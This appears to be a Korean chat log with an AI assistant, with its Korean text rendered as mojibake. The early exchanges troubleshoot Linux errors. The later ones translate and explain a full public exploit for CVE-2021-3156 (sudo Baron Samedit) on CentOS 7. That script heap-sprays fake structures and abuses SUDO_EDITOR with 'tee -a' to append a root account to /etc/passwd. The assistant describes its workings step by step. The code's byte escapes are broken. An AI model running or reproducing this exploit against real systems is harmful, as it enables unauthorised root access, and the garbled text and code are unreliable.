Appearance
question:์๋๋ ๋ญ๊ฐ์? (EE) Fatal server error: (EE) PAM authentication failed, cannot start X server. Perhaps you do not have console ownership? (EE) (EE) Please consult the CentOS support at http://wiki.centos.org/Documentation for help. (EE)
answer:์ด ์ค๋ฅ ๋ฉ์์ง๋ X ์๋ฒ(Xorg)๊ฐ ์์ํ๋ ค๊ณ ์๋ํ ๋ ๋ฐ์ํ๋ ๊ฒ์ผ๋ก ๋ณด์ ๋๋ค. ์ฃผ์ ๋ด์ฉ์ PAM(Puggable Authentication Modules)์ ํตํ ์ธ์ฆ์ด ์คํจํ์ผ๋ฉฐ, ๊ทธ ๊ฒฐ๊ณผ๋ก X ์๋ฒ๋ฅผ ์์ํ ์ ์๋ค๋ ๊ฒ์ ๋๋ค. ์ค๋ฅ ๋ฉ์์ง์์ ์ ์ํ๋ ํ๋์ ๊ฐ๋ฅํ ์์ธ์ ํ์ฌ ์ฌ์ฉ์๊ฐ ์ฝ์ ์์ ๊ถ์ ๊ฐ๊ณ ์์ง ์๋๋ค๋ ๊ฒ์ ๋๋ค. X ์๋ฒ๋ Linux ๋ฐ UNIX ์์คํ ์์ ๊ทธ๋ํฝ ๋์คํ๋ ์ด๋ฅผ ์ ๊ณตํ๋ ์ํํธ์จ์ด์ ํต์ฌ ๋ถ๋ถ์ ๋๋ค. ์ฌ์ฉ์๊ฐ ๊ทธ๋ํฝ ํ๊ฒฝ์ ์์ํ ๋ ์ ์์ ์ผ๋ก ์๋ํด์ผ ํฉ๋๋ค. PAM์ ์์คํ ์ ์ธ์ฆ ๊ณผ์ ์ ๊ด๋ฆฌํ๋ ๋ชจ๋๋ก, ์ฌ์ฉ์์ ๋ก๊ทธ์ธ, sudo ๊ถํ ํ๋ ๋ฑ ๋ค์ํ ์ธ์ฆ ์ ์ฐจ์์ ์ค์ํ ์ญํ ์ ํฉ๋๋ค. ์ด ์ค๋ฅ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํด์๋ ๋ค์๊ณผ ๊ฐ์ ๋ช ๊ฐ์ง ์ ๊ทผ ๋ฐฉ๋ฒ์ ๊ณ ๋ คํ ์ ์์ต๋๋ค: 1. **์ฝ์ ์์ ๊ถ ํ์ธ**: ์ด ์ค๋ฅ ๋ฉ์์ง๋ ์ข ์ข ์ฌ์ฉ์๊ฐ ๋ฌผ๋ฆฌ์ ๋๋ ๊ฐ์ ์ฝ์์ ์์ ์๊ฐ ์๋ ๋ ๋ฐ์ํฉ๋๋ค. GUI๋ฅผ ์์ํ๊ธฐ ์ ์ ์ ์ ํ ์ฌ์ฉ์ ๊ถํ์ ๊ฐ๊ณ ์๋์ง ํ์ธํ์ธ์. `startx`์ ๊ฐ์ ๋ช ๋ น์ด๋ฅผ ์ฌ์ฉํ์ฌ X๋ฅผ ์์ํ ๋๋ ์ผ๋ฐ์ ์ผ๋ก ๋ฌผ๋ฆฌ ์ฝ์์์ ํด๋น ๋ช ๋ น์ด๋ฅผ ์คํํ๋ ์ฌ์ฉ์๊ฐ ๋ฉ๋๋ค. 2. **PAM ๊ตฌ์ฑ ํ์ธ**: `/etc/pam.d` ๋๋ ํ ๋ฆฌ์ ์๋ ๊ด๋ จ PAM ๊ตฌ์ฑ ํ์ผ๋ค์ ๊ฒํ ํฉ๋๋ค. X ์๋ฒ๋ ๊ด๋ จ ์๋น์ค ์์์ ํ์ํ ์ธ์ฆ ๊ณผ์ ์ด ์ฌ๋ฐ๋ฅด๊ฒ ์ค์ ๋์ด ์๋์ง ํ์ธํ์ธ์. ํ์ง๋ง, PAM ๊ตฌ์ฑ์ ๋งค์ฐ ๋ณต์กํ ์ ์์ผ๋ฏ๋ก, ๋ณ๊ฒฝํ๊ธฐ ์ ์ ๋ฐ๋์ ๊ธฐ์กด ์ค์ ์ ๋ฐฑ์ ํ๊ณ PAM์ ์ ํํ ์๋ ๋ฐฉ์์ ์ดํดํด์ผ ํฉ๋๋ค. 3. **๋ก๊ทธ ํ์ผ ํ์ธ**: Xorg์ ๊ด๋ จ๋ ๋ก๊ทธ ํ์ผ(`/var/log/Xorg.0.log`) ๋๋ ์์คํ ๋ก๊ทธ ํ์ผ(`/var/log/syslog`, `/var/log/messages`)์ ํ์ธํ์ฌ ๊ตฌ์ฒด์ ์ธ ์ค๋ฅ ๋ฉ์์ง๋ ๊ฒฝ๊ณ ๋ฅผ ์ฐพ์ต๋๋ค. ์ด ์ ๋ณด๋ ๋ฌธ์ ์ ๊ทผ๋ณธ ์์ธ์ ํ์ ํ๋ ๋ฐ ๋์์ด ๋ ์ ์์ต๋๋ค. 4. **์์คํ ์ ์ฑ ํ์ธ**: SELinux ๋๋ AppArmor์ ๊ฐ์ ๋ณด์ ๋ชจ๋์ด ํ์ฑํ๋์ด ์์ ๊ฒฝ์ฐ, ์ด๋ค์ด X ์๋ฒ์ ์์์ ๋ฐฉํดํ์ง ์๋์ง ํ์ธํฉ๋๋ค. ๋๋๋ก ์ด๋ฌํ ๋ณด์ ์ ์ฑ ์ด ์ธ์ฆ ๊ณผ์ ๋๋ ์๋น์ค ์์์ ์ํฅ์ ์ค ์ ์์ต๋๋ค. 5. **CentOS ์ง์ ๋ฐ ์ปค๋ฎค๋ํฐ ์ฐธ์กฐ**: ์ค๋ฅ ๋ฉ์์ง๊ฐ ์ ์ํ๋ ๋๋ก, ๋ฌธ์ ํด๊ฒฐ์ ์ํด CentOS ๊ณต์ ๋ฌธ์๋ ์ปค๋ฎค๋ํฐ ํฌ๋ผ ๋ฐ ์ํค๋ฅผ ์ฐธ์กฐํ ์ ์์ต๋๋ค. ์ด๋ฌํ ์์์ ๋น์ทํ ๋ฌธ์ ๋ฅผ ๊ฒช์๋ ๋ค๋ฅธ ์ฌ์ฉ์๋ค์ ๊ฒฝํ๊ณผ ํด๊ฒฐ์ฑ ์ ์ ๊ณตํ ์ ์์ต๋๋ค. ์ด๋ฌํ ๋จ๊ณ๋ค์ ํตํด ๋ฌธ์ ์ ์์ธ์ ํ์ ํ๊ณ ํด๊ฒฐํ ์ ์๊ฒ ๋๊ธฐ๋ฅผ ๋ฐ๋๋๋ค. ๋ฌธ์ ๊ฐ ๊ณ์๋๋ฉด, ๊ตฌ์ฒด์ ์ธ ์์คํ ์ค์ ๊ณผ ํ๊ฒฝ, ๊ทธ๋ฆฌ๊ณ ์คํํ๋ ค๊ณ ํ๋ ์์ ์ ์ธ๋ถ ์ฌํญ์ ๋ฌธ์ ๋ณด๊ณ ์ ํฌํจ์ํค๋ ๊ฒ์ด ์ข์ต๋๋ค.
question:์๋๋ ์ด๋ค ์๋ฌ์ธ๊ฐ์? userfaultfd: Function not implemented
answer:`userfaultfd: Function not implemented` ์ค๋ฅ ๋ฉ์์ง๋ `userfaultfd` ์์คํ ํธ์ถ์ ์ฌ์ฉํ๋ ค๊ณ ์๋ํ์ผ๋, ํด๋น ํจ์๊ฐ ํ์ฌ ์ฌ์ฉ ์ค์ธ ์ปค๋์์ ๊ตฌํ๋์ด ์์ง ์์์ ๋ํ๋ ๋๋ค. `userfaultfd`๋ Linux ์ปค๋ 4.3 ์ด์์์ ๋์ ๋ ๊ธฐ๋ฅ์ผ๋ก, ์ฌ์ฉ์ ๊ณต๊ฐ์์ ํ์ด์ง ํดํธ(page faults)๋ฅผ ์ฒ๋ฆฌํ ์ ์๊ฒ ํด์ฃผ๋ ๋งค์ปค๋์ฆ์ ๋๋ค. ์ด ๊ธฐ๋ฅ์ ์ฃผ๋ก ๋ฉ๋ชจ๋ฆฌ ๊ด๋ฆฌ๋ฅผ ์ต์ ํํ๊ฑฐ๋, ๊ฐ์ ๋จธ์ ๋ฐ ์ปจํ ์ด๋์ ๊ฐ์ ๊ณ ๊ธ ๊ธฐ๋ฅ์ ๊ตฌํํ ๋ ์ฌ์ฉ๋ฉ๋๋ค. ์ด ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ ์ฃผ๋ ์์ธ์ ๋ ๊ฐ์ง์ ๋๋ค: 1. **๊ตฌํ ์ปค๋ ์ฌ์ฉ**: ์์คํ ์ด `userfaultfd`๋ฅผ ์ง์ํ๋ ์ต์ ์ปค๋ ๋ฒ์ (4.3)๋ณด๋ค ์ค๋๋ ๋ฒ์ ์ ์ฌ์ฉํ๊ณ ์๋ค๋ฉด, ์ด ๊ธฐ๋ฅ์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ด ๊ฒฝ์ฐ, ์ค๋ฅ ๋ฉ์์ง๋ ํด๋น ๊ธฐ๋ฅ์ด ์ปค๋์ ๊ตฌํ๋์ง ์์์์ ๋ํ๋ ๋๋ค. 2. **์ปค๋ ๊ตฌ์ฑ ๋ฌธ์ **: ์ฌ์ง์ด ์ง์ ๊ฐ๋ฅํ ์ปค๋ ๋ฒ์ ์ ์ฌ์ฉ ์ค์ด๋ผ ํ ์ง๋ผ๋, `userfaultfd` ๊ธฐ๋ฅ์ด ํน์ ์ปค๋ ๊ตฌ์ฑ ์ต์ ์ ํตํด ๋นํ์ฑํ๋์์ ์ ์์ต๋๋ค. ์ปค๋์ ์ปดํ์ผํ ๋ ๋ชจ๋ ๊ธฐ๋ฅ์ด ๊ธฐ๋ณธ์ ์ผ๋ก ํ์ฑํ๋์ด ์๋ ๊ฒ์ ์๋๋ฉฐ, `userfaultfd`๋ ํ์์ ๋ฐ๋ผ ๋ช ์์ ์ผ๋ก ํ์ฑํํด์ผ ํ ์๋ ์์ต๋๋ค. ์ด ์ค๋ฅ๋ฅผ ํด๊ฒฐํ๋ ๋ฐฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค: - **์ปค๋ ์ ๊ทธ๋ ์ด๋**: ์ฌ์ฉ ์ค์ธ ์์คํ ์ ์ปค๋์ Linux 4.3 ์ด์์ผ๋ก ์ ๊ทธ๋ ์ด๋ํฉ๋๋ค. ๋๋ถ๋ถ์ ์ต์ Linux ๋ฐฐํฌํ์ ์ด๋ฏธ ์ด ๋ฒ์ ์ด์์ ์ปค๋์ ์ฌ์ฉํ๊ณ ์์ผ๋ฏ๋ก, ์์คํ ์ ์ต์ ์ํ๋ก ์ ์งํ๋ ๊ฒ๋ง์ผ๋ก๋ ์ถฉ๋ถํ ์ ์์ต๋๋ค. - **์ปค๋ ๊ตฌ์ฑ ๊ฒํ **: ์ฌ์ฉ ์ค์ธ ์ปค๋์ด ์ด๋ฏธ `userfaultfd`๋ฅผ ์ง์ํ๋ ๋ฒ์ ์ด๋ผ๋ฉด, ์ปค๋์ด ํด๋น ๊ธฐ๋ฅ์ ์ง์ํ๋๋ก ๊ตฌ์ฑ๋์ด ์๋์ง ํ์ธํด์ผ ํฉ๋๋ค. ์ด๋ ์ปค๋ ์์ค ์ฝ๋์ `.config` ํ์ผ์ด๋ ์์คํ ์ `/boot/config-(uname -r)` ํ์ผ์์ ํด๋น ์ต์ ์ ๊ฒ์ํจ์ผ๋ก์จ ๊ฐ๋ฅํฉ๋๋ค. ํ์ํ ๊ฒฝ์ฐ ์ปค๋์ ๋ค์ ๊ตฌ์ฑํ๊ณ `userfaultfd` ์ง์์ ํ์ฑํํ ํ ์ปค๋์ ์ฌ์ปดํ์ผํ ์ ์์ต๋๋ค. `userfaultfd` ๊ธฐ๋ฅ์ ๊ณ ๊ธ ์ฌ์ฉ์ ๋๋ ๊ฐ๋ฐ์๊ฐ ํน๋ณํ ์ ํ์ ์ ํ๋ฆฌ์ผ์ด์ ์ ์์ฑํ ๋ ์ฃผ๋ก ์ฌ์ฉํฉ๋๋ค. ๋ฐ๋ผ์ ์ผ๋ฐ์ ์ธ ์ฌ์ฉ ์ํฉ์์ ์ด ์ค๋ฅ ๋ฉ์์ง๊ฐ ๋ํ๋๋ ๊ฒฝ์ฐ๋ ๋๋ญ ๋๋ค. ๋ง์ฝ ์ด ๊ธฐ๋ฅ์ด ํ์ํ ์ํฉ์์ ์ด ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ค๋ฉด, ์์ ํด๊ฒฐ ๋ฐฉ๋ฒ์ ๋ฐ๋ผ ์์คํ ํ๊ฒฝ์ ์กฐ์ ํด์ผ ํ ๊ฒ์ ๋๋ค.
question:์๋ ์์ด๋ฅผ ํ๊ธ๋ก ๋ฒ์ญํด์ฃผ์ธ์. ''' Exploit for CVE-2021-3156 with struct userspec overwrite by sleepya This exploit requires: - glibc without tcache - sudo version 1.8.9-1.8.23 (inclusive) - patient (and luck). Bruteforcing might take time (almost instant to >10 mins) Note: Disable ASLR before running the exploit if you don't want to wait for bruteforcing Without glibc tcache, a heap layout rarely contains hole. The heap overflow vulnerability is triggered after parsing /etc/sudoers. The parsing process always leaves a large hole before parsed data (struct defaults, struct userspec). Tested on: - CentOS 7 (1.8.23) - Ubuntu 16.04.1 - Debian 9 - Fedora 25 sudo version related info: v1.8.9 - change tq_pop to tailq_list v1.8.11 - move fatal callbacks to util. so cleanup is called correctly v1.8.19 - add line, file to userspec (chunk size 0x50) v1.8.20 - add timeout to cmndspec - add notbefore and notafter to cmndspec v1.8.21 - move timeout in cmndspec to avoid padding (layout is changed) v1.8.23 - add comments to userspec struct (chunk size 0x60) - add ldap field in privileges chunk v1.8.24 - add free_userpsecs() and free_defaults() with TAILQ_FIRST/TAILQ_REMOVE '''
answer:''' sleepya์ ์ํ CVE-2021-3156 ์ทจ์ฝ์ ์ ์ด์ฉํ ๊ณต๊ฒฉ ์ฝ๋๋ก, struct userspec์ overwriteํ๋ ๋ฐฉ์์ ๋๋ค. ์ด ๊ณต๊ฒฉ ์ฝ๋๋ ๋ค์์ ์๊ตฌํฉ๋๋ค: - tcache๊ฐ ์๋ glibc - sudo ๋ฒ์ 1.8.9๋ถํฐ 1.8.23(ํฌํจ) - ์ธ๋ด์ฌ(๊ทธ๋ฆฌ๊ณ ์ด). ๋ธ๋ฃจํธํฌ์ฑ์ ์๊ฐ์ด ๊ฑธ๋ฆด ์ ์์ต๋๋ค(๊ฑฐ์ ์ฆ์์์ 10๋ถ ์ด์). ์ฐธ๊ณ : ๋ธ๋ฃจํธํฌ์ฑ์ ๊ธฐ๋ค๋ฆฌ๊ณ ์ถ์ง ์๋ค๋ฉด ๊ณต๊ฒฉ์ ์คํํ๊ธฐ ์ ์ ASLR์ ๋นํ์ฑํํ์ธ์. tcache๊ฐ ์๋ glibc์์๋ ํ ๋ ์ด์์์ ๊ตฌ๋ฉ์ด ๊ฑฐ์ ๋๋ฌผ๊ฒ ๋ฐ์ํฉ๋๋ค. ํ ์ค๋ฒํ๋ก ์ทจ์ฝ์ ์ /etc/sudoers ํ์ฑ ํ์ ๋ฐ๋๋ฉ๋๋ค. ํ์ฑ ๊ณผ์ ์ ํญ์ ํฐ ๊ตฌ๋ฉ์ ํจ์ฑ๋ ๋ฐ์ดํฐ(๊ตฌ์กฐ์ฒด defaults, ๊ตฌ์กฐ์ฒด userspec) ์์ ๋จ๊น๋๋ค. ํ ์คํธ๋ ํ๊ฒฝ: - CentOS 7 (1.8.23) - Ubuntu 16.04.1 - Debian 9 - Fedora 25 sudo ๋ฒ์ ๊ด๋ จ ์ ๋ณด: v1.8.9 - tq_pop์ tailq_list๋ก ๋ณ๊ฒฝ v1.8.11 - ์น๋ช ์ ์ธ ์ฝ๋ฐฑ์ util๋ก ์ฎ๊น. ๊ทธ๋์ ์ ๋ฆฌ๊ฐ ์ ๋๋ก ํธ์ถ๋จ v1.8.19 - userspec์ ์ค, ํ์ผ ์ถ๊ฐ (์ฒญํฌ ์ฌ์ด์ฆ 0x50) v1.8.20 - cmndspec์ ํ์์์ ์ถ๊ฐ - cmndspec์ notbefore์ notafter ์ถ๊ฐ v1.8.21 - cmndspec์ ํ์์์์ ํจ๋ฉ์ ํผํ๊ธฐ ์ํด ์ด๋ (๋ ์ด์์์ด ๋ณ๊ฒฝ๋จ) v1.8.23 - userspec ๊ตฌ์กฐ์ฒด์ ์ฃผ์ ์ถ๊ฐ (์ฒญํฌ ์ฌ์ด์ฆ 0x60) - privileges ์ฒญํฌ์ ldap ํ๋ ์ถ๊ฐ v1.8.24 - TAILQ_FIRST/TAILQ_REMOVE๋ก free_userspec()๊ณผ free_defaults() ์ถ๊ฐ
question:์๋ ์ฝ๋๊ฐ ์ด๋ค ์์
์ ํ๋์ง ๊ฐ๋ตํ ์ค๋ช
ํด์ฃผ์ธ์. #!/usr/bin/python ''' Exploit for CVE-2021-3156 on CentOS 7 by sleepya Simplified version of exploit_userspec.py for easy understanding. - Remove all checking code - Fixed all offset (no auto finding) Note: This exploit only work on sudo 1.8.23 on CentOS 7 with default configuration Note: Disable ASLR before running the exploit (also modify STACK_ADDR_PAGE below) if you don't want to wait for bruteforcing ''' import os import sys import resource from struct import pack from ctypes import cdll, c_char_p, POINTER SUDO_PATH = b"/usr/bin/sudo" # can be used in execve by passing argv[0] as "sudoedit" PASSWD_PATH = '/etc/passwd' APPEND_CONTENT = b"gg:5agemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bashn"; #STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled STACK_ADDR_PAGE = 0x7fffe5d35000 libc = cdll.LoadLibrary("libc.so.6") libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) def execve(filename, cargv, cenvp): libc.execve(filename, cargv, cenvp) def spawn_raw(filename, cargv, cenvp): pid = os.fork() if pid: # parent _, exit_code = os.waitpid(pid, 0) return exit_code else: # child execve(filename, cargv, cenvp) exit(0) def spawn(filename, argv, envp): cargv = (c_char_p * len(argv))(*argv) cenvp = (c_char_p * len(env))(*env) return spawn_raw(filename, cargv, cenvp) resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)) # expect large hole for cmnd size is correct TARGET_CMND_SIZE = 0x1b50 argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"", None ] SA = STACK_ADDR_PAGE ADDR_REFSTR = pack('<Q', SA+0x20) # ref string ADDR_PRIV_PREV = pack('<Q', SA+0x10) ADDR_CMND_PREV = pack('<Q', SA+0x18) # cmndspec ADDR_MEMBER_PREV = pack('<Q', SA+0x20) ADDR_DEF_VAR = pack('<Q', SA+0x10) ADDR_DEF_BINDING = pack('<Q', SA+0x30) OFFSET = 0x30 + 0x20 ADDR_USER = pack('<Q', SA+OFFSET) ADDR_MEMBER = pack('<Q', SA+OFFSET+0x40) ADDR_CMND = pack('<Q', SA+OFFSET+0x40+0x30) ADDR_PRIV = pack('<Q', SA+OFFSET+0x40+0x30+0x60) # for spraying epage = [ 'A'*0x8 + # to not ending with 0x00 # fake def->var chunk (get freed) 'x21', '', '', '', '', '', '', ADDR_PRIV[:6], '', # pointer to privilege ADDR_CMND[:6], '', # pointer to cmndspec ADDR_MEMBER[:6], '', # pointer to member # fake def->binding (list head) (get freed) 'x21', '', '', '', '', '', '', '', '', '', '', '', '', '', '', # members.first 'A'*0x10 + # members.last, pad # userspec chunk (get freed) 'x41', '', '', '', '', '', '', # chunk metadata '', '', '', '', '', '', '', '', # entries.tqe_next 'A'*8 + # entries.tqe_prev '', '', '', '', '', '', '', '', # users.tqh_first ADDR_MEMBER[:6]+'', '', # users.tqh_last '', '', '', '', '', '', '', '', # privileges.tqh_first ADDR_PRIV[:6]+'', '', # privileges.tqh_last '', '', '', '', '', '', '', '', # comments.stqh_first # member chunk 'x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any) 'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any) ADDR_MEMBER_PREV[:6], '', # member.tqe_prev, userspec.file (ref string) 'A'*8 + # member.name (can be any because this object is not freed) pack('<H', 284), '', # type, negated 'A'*0xc+ # padding # cmndspec chunk 'x61'*0x8 + # chunk metadata (need only prev_inuse flag) 'A'*0x8 + # entries.tqe_next ADDR_CMND_PREV[:6], '', # entries.teq_prev '', '', '', '', '', '', '', '', # runasuserlist '', '', '', '', '', '', '', '', # runasgrouplist ADDR_MEMBER[:6], '', # cmnd 'xf9'+'xff'*0x17+ # tag (NOPASSWD), timeout, notbefore, notafter '', '', '', '', '', '', '', '', # role '', '', '', '', '', '', '', '', # type 'A'*8 + # padding # privileges chunk 'x51'*0x8 + # chunk metadata 'A'*0x8 + # entries.tqe_next ADDR_PRIV_PREV[:6], '', # entries.teq_prev 'A'*8 + # ldap_role 'A'*8 + # hostlist.tqh_first ADDR_MEMBER[:6], '', # hostlist.teq_last 'A'*8 + # cmndlist.tqh_first ADDR_CMND[:6], '', # cmndlist.teq_last ] cnt = sum(map(len, epage)) padlen = 4096 - cnt - len(epage) epage.append('P'*(padlen-1)) env = [ "A"*(7+0x4010 + 0x110) + # overwrite until first defaults "x21", "", "", "", "", "", "", "A"*0x18 + # defaults "x41", "", "", "", "", "", "", # chunk size "", "", "", "", "", "", "", "", # next 'a'*8 + # prev ADDR_DEF_VAR[:6]+'', '', # var "", "", "", "", "", "", "", "", # val ADDR_DEF_BINDING[:6]+'', '', # binding ADDR_REFSTR[:6]+'', '', # file "Z"*0x8 + # type, op, error, lineno "x31", "", "", "", "", "", "", # chunk size (just need valid) 'C'*0x638+ # need prev_inuse and overwrite until userspec 'B'*0x1b0+ # userspec chunk # this chunk is not used because list is traversed with curr->prev->prev->next "x61", "", "", "", "", "", "", # chunk size ADDR_USER[:6]+'', '', # entries.tqe_next points to fake userspec in stack "A"*8 + # entries.tqe_prev "", "", "", "", "", "", "", "", # users.tqh_first ADDR_MEMBER[:6]+'', '', # users.tqh_last "", "", "", "", "", "", "", "", # privileges.tqh_first "LC_ALL=C", "SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd "TZ=:", ] ENV_STACK_SIZE_MB = 4 for i in range(ENV_STACK_SIZE_MB * 1024 / 4): env.extend(epage) # last element. prepare space for '/usr/bin/sudo' and extra 8 bytes env[-1] = env[-1][:-len(SUDO_PATH)-1-8] env.append(None) cargv = (c_char_p * len(argv))(*argv) cenvp = (c_char_p * len(env))(*env) # write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a" r, w = os.pipe() os.dup2(r, 0) w = os.fdopen(w, 'w') w.write(APPEND_CONTENT) w.close() null_fd = os.open('/dev/null', os.O_RDWR) os.dup2(null_fd, 2) for i in range(8192): sys.stdout.write('%dr' % i) if i % 8 == 0: sys.stdout.flush() exit_code = spawn_raw(SUDO_PATH, cargv, cenvp) if exit_code == 0: print("success at %d" % i) break
answer:์ด ์คํฌ๋ฆฝํธ๋ CVE-2021-3156์ด๋ผ๋ ํน์ ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ CentOS 7์์ sudo ๋ฒ์ 1.8.23์ ๋์์ผ๋ก ํ๋ ๊ถํ ์์น ๊ณต๊ฒฉ์ ์ํํฉ๋๋ค. `sudoedit`๋ฅผ ์ฌ์ฉํ์ฌ ์ด ๊ณต๊ฒฉ์ ์ํํ๋ ๊ณผ์ ์์, ์คํฌ๋ฆฝํธ๋ ๋ฉ๋ชจ๋ฆฌ์์ ํน์ ๊ตฌ์กฐ์ฒด๋ค์ ์กฐ์ํ์ฌ ์์ ์ฝ๋ ์คํ์ ์๋ํฉ๋๋ค. ์คํฌ๋ฆฝํธ์ ์ฃผ์ ์์ ๋ด์ฉ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค: 1. ํ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ํจ์๋ฅผ importํ๊ณ ์ด๊ธฐ ์ค์ ๊ฐ์ ์ ์ํฉ๋๋ค. 2. `PASSWD_PATH`๋ก ์ง์ ๋ `/etc/passwd` ํ์ผ์ ์๋ก์ด ์ฌ์ฉ์(์ฌ๊ธฐ์๋ "gg")๋ฅผ ์ถ๊ฐํ๋ ๋ด์ฉ์ ๋ฌธ์์ด์ ์ ์ํฉ๋๋ค. ์ด ์ฌ์ฉ์์๊ฒ๋ root ๊ถํ์ด ๋ถ์ฌ๋ฉ๋๋ค. 3. ์คํ์ ์ ์ฅ๋ false ๊ตฌ์กฐ์ฒด๋ค์ ์ฃผ์๋ฅผ ๊ณ์ฐํ๊ณ , ์ด๋ฅผ ํ์ฉํ์ฌ ํ ๋ฉ๋ชจ๋ฆฌ์ ํน์ ๋ถ๋ถ์ ์กฐ์ํ๋ ํจ์ด๋ก๋๋ฅผ ์์ฑํฉ๋๋ค. 4. ๊ณต๊ฒฉ์ ์ํ ํ๊ฒฝ ๋ณ์(`env`)์ ๋ช ๋ นํ ์ธ์(`argv`)๋ฅผ ์ค์ ํฉ๋๋ค. ์ฌ๊ธฐ์ ์ฃผ์ ํฌ์ธํธ๋ `sudoedit`๋ฅผ ํธ์ถํ๋ฉด์, ํ๊ฒฝ ๋ณ์์ ์ ์์ ์ธ ๊ฐ์ ํฌํจ์ํค๊ณ `SUDO_EDITOR` ํ๊ฒฝ ๋ณ์๋ฅผ ์กฐ์ํ์ฌ `/etc/passwd` ํ์ผ์ ์๋ก์ด ์ฌ์ฉ์๋ฅผ ์ถ๊ฐํ๋ ๊ฒ์ ๋๋ค. 5. `/etc/passwd` ํ์ผ์ ์๋ก์ด ์ฌ์ฉ์๋ฅผ ์ถ๊ฐํ๊ธฐ ์ํด, ํ์ค ์ ๋ ฅ์ ํตํด ์๋ก์ด ์ฌ์ฉ์์ ๋ํ ์ ๋ณด๋ฅผ ์ ์กํฉ๋๋ค. 6. ์ค์ ๋ก `sudoedit` ๋ช ๋ น์ ํธ์ถํ๋ฉฐ, ์ด๋ `execve` ํจ์๋ฅผ ํตํด ์ด๋ฃจ์ด์ง๋๋ค. ์ด ๊ณผ์ ์์ ํ๊ฒฝ ๋ณ์ ์ทจ์ฝ์ ์ ์ด์ฉํด ํ ๋ฉ๋ชจ๋ฆฌ์ ๊ตฌ์กฐ์ฒด๋ฅผ overwriteํ์ฌ ๊ถํ ์์น์ ์๋ํฉ๋๋ค. 7. ๊ณต๊ฒฉ์ด ์ฑ๊ณตํ๋ฉด, `/etc/passwd` ํ์ผ์ ์ฑ๊ณต์ ์ผ๋ก ์๋ก์ด ์ฌ์ฉ์๊ฐ ์ถ๊ฐ๋์ด, ๊ณต๊ฒฉ์๋ ์์คํ ์ ๋ํ root ์ ๊ทผ ๊ถํ์ ์ป๊ฒ ๋ฉ๋๋ค. ์ฐธ๊ณ ๋ก, ์ด ์คํฌ๋ฆฝํธ๋ ASLR(Address Space Layout Randomization)์ด ๋นํ์ฑํ๋ ์ํ์์๋ง ์ ๋๋ก ์๋ํ๋ฉฐ, ๊ณต๊ฒฉ ์ฑ๊ณต ์ฌ๋ถ๋ ํ๊ฒฝ์ ๋ฐ๋ผ ๋ฌ๋ผ์ง ์ ์์ต๋๋ค. ์ด ์คํฌ๋ฆฝํธ๋ ๋ํ ๊ณต๊ฒฉ์ ์ํด ๋ธ๋ฃจํธํฌ์ฑ์ ์ํํ๋๋ฐ, ์ด ๊ณผ์ ์ ์ฆ์ ์ฑ๊ณตํ ์๋ ์๊ณ , 10๋ถ ์ด์ ๊ฑธ๋ฆด ์๋ ์์ต๋๋ค.